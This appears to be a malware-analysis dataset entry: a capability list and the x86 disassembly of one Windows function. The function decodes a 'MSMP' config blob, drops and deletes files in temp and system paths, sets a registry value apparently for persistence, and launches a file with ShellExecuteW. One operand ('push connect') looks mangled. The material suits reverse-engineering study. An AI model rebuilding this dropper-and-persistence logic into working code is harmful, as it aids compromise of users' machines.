Function at 0x4010e0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c4c
call fcn.00413be0
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x206
lea ecx, [ebp - 0x3ce]
xor eax, eax
push ebx
push ecx
mov dword [ebp - 0x1c4c], ebx
mov word [ebp - 0x3d0], ax
call fcn.0040d8f0
add esp, 0xc
push 0x206
lea eax, [ebp - 0xdf6]
xor edx, edx
push ebx
push eax
mov word [ebp - 0xdf8], dx
call fcn.0040d8f0
add esp, 0xc
push 0x206
lea edx, [ebp - 0xbee]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0xbf0], cx
call fcn.0040d8f0
xor eax, eax
add esp, 0xc
push 0x7e
lea edx, [ebp - 0x146]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0x24], ax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov word [ebp - 0x148], cx
call fcn.0040d8f0
add esp, 0xc
push 0x7e
lea ecx, [ebp - 0xc6]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0xc8], ax
call fcn.0040d8f0
add esp, 0xc
push 0x7e
lea eax, [ebp - 0x1c6]
xor edx, edx
push ebx
push eax
mov dword [ebp - 0x1c3c], ebx
mov word [ebp - 0x1c8], dx
call fcn.0040d8f0
add esp, 0xc
push 0x206
lea edx, [ebp - 0x7de]
xor ecx, ecx
push ebx
push edx
mov dword [ebp - 0x1c34], ebx
mov word [ebp - 0x7e0], cx
call fcn.0040d8f0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x44], ax
mov dword [ebp - 0x42], eax
mov dword [ebp - 0x3e], eax
mov dword [ebp - 0x3a], eax
mov dword [ebp - 0x36], eax
mov dword [ebp - 0x32], eax
mov dword [ebp - 0x2e], eax
push 0x206
lea edx, [ebp - 0x5d6]
xor ecx, ecx
push ebx
push edx
mov dword [ebp - 0x2a], eax
mov word [ebp - 0x26], ax
mov word [ebp - 0x5d8], cx
call fcn.0040d8f0
add esp, 0xc
push 0x206
lea ecx, [ebp - 0x9e6]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x9e8], ax
call fcn.0040d8f0
add esp, 0xc
push 0x200
lea edx, [ebp - 0x17f8]
push ebx
push edx
call fcn.0040d8f0
add esp, 0xc
push 1
lea edi, [ebp - 0x17f8]
call fcn.00401bb0
add esp, 4
push 0x200
mov dword [ebp - 0x1c48], eax
lea eax, [ebp - 0x1a00]
push ebx
push eax
call fcn.0040d8f0
add esp, 0xc
lea esi, [ebp - 0x1a00]
call fcn.00401d30
test eax, eax
jne 0x4012a8
mov dword [ebp - 0x1c38], ebx
jmp 0x401301
xor eax, eax
lea ebx, [ebx]
mov cl, byte [ebp + eax - 0x1a00]
not cl
mov byte [ebp + eax - 0x1a00], cl
inc eax
cmp eax, 0x200
jb 0x4012b0
cmp dword [ebp - 0x1a00], 0x504d534d
je 0x4012dc
mov dword [ebp - 0x1c38], ebx
jmp 0x401301
push 0x200
lea edx, [ebp - 0x1a00]
push edx
lea eax, [ebp - 0x1c30]
push eax
call fcn.0040a590
add esp, 0xc
mov dword [ebp - 0x1c38], 1
push 0x104
lea ecx, [ebp - 0xdf8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [ebp - 0x3d0]
push edx
push 0x104
call edi
push 0x41c240
lea eax, [ebp - 0x3d0]
push 0x104
push eax
call fcn.0040a485
lea eax, [ebp - 0x3d0]
add esp, 0xc
lea edx, [eax + 2]
jmp 0x401350
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401350
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, edx
sar eax, 1
je 0x401382
lea ecx, [ebp - 0x3d0]
push ecx
call esi
cmp eax, 0xffffffff
je 0x401382
lea edx, [ebp - 0x3d0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x1c48], ebx
je 0x4015f8
lea eax, [ebp - 0x3d0]
push eax
push 0x104
call edi
lea ecx, [ebp - 0x1670]
push ecx
lea edx, [ebp - 0x3d0]
push 0x104
push edx
call fcn.0040a485
add esp, 0xc
push 0x41c258
lea eax, [ebp - 0x3d0]
push 0x104
push eax
call fcn.0040a485
lea eax, [ebp - 0x3d0]
add esp, 0xc
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4013e0
sub eax, edx
sar eax, 1
je 0x40140c
lea ecx, [ebp - 0x3d0]
push ecx
call esi
cmp eax, 0xffffffff
je 0x40140c
lea edx, [ebp - 0x3d0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x1650]
push eax
lea ecx, [ebp - 0x24]
push 0x10
push ecx
call fcn.0040a4fa
add esp, 0xc
lea edi, [ebp - 0x3d0]
lea esi, [ebp - 0x1650]
call fcn.00401e40
call fcn.00401ee0
cmp eax, 1
jne 0x40144f
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a476
mov esp, ebp
pop ebp
ret
xor eax, eax
jmp 0x401460
movzx ecx, word [ebp + eax - 0x1650]
mov word [ebp + eax - 0x5d8], cx
add eax, 2
test cx, cx
jne 0x401460
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [ebp + eax - 0x1650]
mov word [ebp + eax - 0x9e8], cx
add eax, 2
test cx, cx
jne 0x401480
lea eax, [ebp - 0x9e8]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4014a1
mov edx, dword [0x41c264]
mov ecx, dword [0x41c268]
mov dword [eax], edx
mov edx, dword [0x41c26c]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
lea eax, [ebp - 0x5d8]
push eax
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x401548
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
lea ecx, [ebp - 0x9e8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea edx, [ebp - 0x5d8]
push edx
xor esi, esi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401548
lea ebx, [ebx]
cmp esi, 5
jge 0x401548
push eax
call edi
push 0x1f4
inc esi
call ebx
lea eax, [ebp - 0x5d8]
push eax
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
jne 0x401520
push 0x3e8
call ebx
lea ecx, [ebp - 0x3d0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
mov edi, edi
movzx ecx, word [ebp + eax - 0x1772]
mov word [ebp + eax - 0x148], cx
add eax, 2
test cx, cx
jne 0x401560
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [ebp + eax - 0x17f4]
mov word [ebp + eax - 0xc8], cx
add eax, 2
test cx, cx
jne 0x401580
movzx edx, word [ebp - 0x1774]
mov dword [ebp - 0x1c3c], edx
xor eax, eax
jmp 0x4015b0
movzx ecx, word [ebp + eax - 0x1752]
mov word [ebp + eax - 0x1c8], cx
add eax, 2
test cx, cx
jne 0x4015b0
movzx eax, word [ebp - 0x16d2]
mov ebx, dword [ebp - 0x1630]
lea ecx, [ebp - 0x1670]
push ecx
lea edx, [ebp - 0x44]
push 0x10
push edx
mov dword [ebp - 0x1c34], eax
call fcn.0040a4fa
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x4016ac
cmp dword [0x420f3c], 3
jne 0x4016af
push 0x236
lea eax, [ebp - 0x1a30]
push 0
push eax
call fcn.0040d8f0
lea ecx, [ebp - 0x1a30]
add esp, 0xc
push ecx
call fcn.004020d0
add esp, 4
mov dword [ebp - 0x1c4c], eax
test eax, eax
je 0x4016af
xor eax, eax
jmp 0x401640
movzx ecx, word [ebp + eax - 0x1922]
mov word [ebp + eax - 0x148], cx
add eax, 2
test cx, cx
jne 0x401640
mov ecx, dword [ebp - 0x192a]
lea esi, [ebp - 0xc8]
call fcn.00402420
movzx edx, word [ebp - 0x1926]
mov ecx, dword [ebp - 0x1930]
lea esi, [ebp - 0x1c8]
mov dword [ebp - 0x1c3c], edx
call fcn.00402420
movzx eax, word [ebp - 0x192c]
mov ebx, dword [ebp - 0x1a28]
lea ecx, [ebp - 0x1902]
push ecx
lea edx, [ebp - 0x24]
push 0x10
push edx
mov dword [ebp - 0x1c34], eax
call fcn.0040a4fa
add esp, 0xc
cmp dword [ebp - 0x1c38], 0
je 0x4017be
xor eax, eax
mov edi, edi
movzx ecx, word [ebp + eax - 0x1baa]
mov word [ebp + eax - 0x148], cx
add eax, 2
test cx, cx
jne 0x4016c0
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [ebp + eax - 0x1c2c]
mov word [ebp + eax - 0xc8], cx
add eax, 2
test cx, cx
jne 0x4016e0
movzx eax, word [ebp - 0x1bac]
mov dword [ebp - 0x1c3c], eax
xor eax, eax
jmp 0x401710
movzx ecx, word [eax + 0x41c270]
mov word [ebp + eax - 0x1c8], cx
add eax, 2
test cx, cx
jne 0x401710
cmp dword [0x420f3c], 3
movzx ecx, word [ebp - 0x1b0a]
mov dword [ebp - 0x1c34], ecx
mov ebx, 5
je 0x401752
lea edx, [ebp - 0x7e0]
push edx
push 0x104
call edi
jmp 0x40177d
push 0x104
lea eax, [ebp - 0x7e0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41c368
lea ecx, [ebp - 0x7e0]
push 0x104
push ecx
call fcn.0040a485
add esp, 0xc
xor eax, eax
nop
movzx ecx, word [ebp + eax - 0x7e0]
mov word [ebp + eax - 0xbf0], cx
add eax, 2
test cx, cx
jne 0x401780
push 0x41c28c
lea edx, [ebp - 0xbf0]
push 0x104
push edx
call fcn.0040a485
add esp, 0xc
lea eax, [ebp - 0xbf0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x200
lea ecx, [ebp - 0x17f8]
push 0
push ecx
call fcn.0040d8f0
mov esi, 0x504d534d
mov edx, 0x51
add esp, 0xc
mov dword [ebp - 0x17f8], esi
mov word [ebp - 0x1774], dx
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + 0x41c2a4]
mov word [ebp + eax - 0x17f4], cx
add eax, 2
test cx, cx
jne 0x4017f0
mov eax, 0x2b70
mov word [ebp - 0x16d2], ax
xor eax, eax
jmp 0x401820
movzx ecx, word [eax + 0x41c270]
mov word [ebp + eax - 0x1752], cx
add eax, 2
test cx, cx
jne 0x401820
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x41c2c0]
mov word [ebp + eax - 0x1772], cx
add eax, 2
test cx, cx
jne 0x401840
cmp dword [ebp - 0x1c48], 0
mov edi, 5
mov dword [ebp - 0x1630], edi
jne 0x40187d
cmp dword [ebp - 0x1c4c], 0
jne 0x40187d
cmp dword [ebp - 0x1c38], 0
je 0x4018f1
lea ecx, [ebp - 0x148]
push ecx
lea edx, [ebp - 0x1772]
push 0x10
push edx
call fcn.0040a4fa
add esp, 0xc
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x17f4]
push 0x40
push ecx
call fcn.0040a4fa
movzx edx, word [ebp - 0x1c3c]
add esp, 0xc
lea eax, [ebp - 0x1c8]
push eax
lea ecx, [ebp - 0x1752]
push 0x40
push ecx
mov word [ebp - 0x1774], dx
call fcn.0040a4fa
movzx edx, word [ebp - 0x1c34]
add esp, 0xc
mov word [ebp - 0x16d2], dx
mov dword [ebp - 0x1630], ebx
test ebx, ebx
jne 0x4018f1
mov dword [ebp - 0x1630], edi
cmp word [ebp - 0x17f4], 0
je 0x401b8c
cmp word [ebp - 0x1774], 0
jbe 0x401b8c
mov dword [ebp - 0x17f8], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040a55d
add esp, 4
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x15f6]
push ecx
mov word [ebp - 0x15f8], ax
call fcn.0040d8f0
add esp, 0xc
cmp word [ebp - 0x16d0], 0
jne 0x401971
lea edx, [ebp - 0x15f8]
push edx
call fcn.004024a0
add esp, 4
lea eax, [ebp - 0x15f8]
push eax
lea ecx, [ebp - 0x16d0]
push 0x10
push ecx
call fcn.0040a4fa
add esp, 0xc
cmp word [ebp - 0x16b0], 0
jne 0x4019a2
lea edx, [ebp - 0x15f8]
push edx
call fcn.004024a0
add esp, 4
lea eax, [ebp - 0x15f8]
push eax
lea ecx, [ebp - 0x16b0]
push 0x10
push ecx
call fcn.0040a4fa
add esp, 0xc
lea eax, [ebp - 0x44]
lea edx, [eax + 2]
jmp 0x4019b0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4019b0
sub eax, edx
sar eax, 1
je 0x4019eb
lea edx, [ebp - 0x44]
push edx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x4019eb
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x1670]
push 0x10
push ecx
call fcn.0040a4fa
add esp, 0xc
cmp word [ebp - 0x1670], 0
jne 0x401a1c
lea edx, [ebp - 0x15f8]
push edx
call fcn.004024a0
add esp, 4
lea eax, [ebp - 0x15f8]
push eax
lea ecx, [ebp - 0x1670]
push 0x10
push ecx
call fcn.0040a4fa
add esp, 0xc
cmp word [ebp - 0x1650], 0
jne 0x401a79
lea edx, [ebp - 0x15f8]
push edx
call fcn.004024a0
add esp, 4
lea eax, [ebp - 0x15f8]
push eax
lea ecx, [ebp - 0x1650]
push 0x10
push ecx
call fcn.0040a4fa
lea eax, [ebp - 0x24]
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401a53
sub eax, edx
sar eax, 1
je 0x401a79
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x1650]
push 0x10
push eax
call fcn.0040a4fa
add esp, 0xc
cmp word [ebp - 0x1690], 0
jne 0x401aaa
lea ecx, [ebp - 0x15f8]
push ecx
call fcn.004024a0
add esp, 4
lea edx, [ebp - 0x15f8]
push edx
lea eax, [ebp - 0x1690]
push 0x10
push eax
call fcn.0040a4fa
add esp, 0xc
cmp dword [ebp - 0x1630], 0
mov dword [ebp - 0x162c], 0x1000278
jne 0x401ac3
mov dword [ebp - 0x1630], edi
lea ecx, [ebp - 0x17f8]
push ecx
call fcn.004025d0
add esp, 4
test eax, eax
je 0x401b8c
lea edi, [ebp - 0x3d0]
lea esi, [ebp - 0x1650]
call fcn.00401e40
mov edx, edi
push edx
lea eax, [ebp - 0xdf8]
call fcn.004026f0
add esp, 4
lea eax, [ebp - 0x1c44]
push eax
push 3
push 0
push 0x41c2d0
push connect
mov dword [ebp - 0x1c44], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401b72
mov eax, edi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401b30
sub eax, edx
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [ebp - 0x1c44]
push ecx
lea edx, [ebp - 0x3d0]
push edx
push 1
push 0
push 0x41c33c
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401b72
mov ecx, dword [ebp - 0x1c44]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x41c23c
lea edx, [ebp - 0x3d0]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0040a476
mov esp, ebp
pop ebp
ret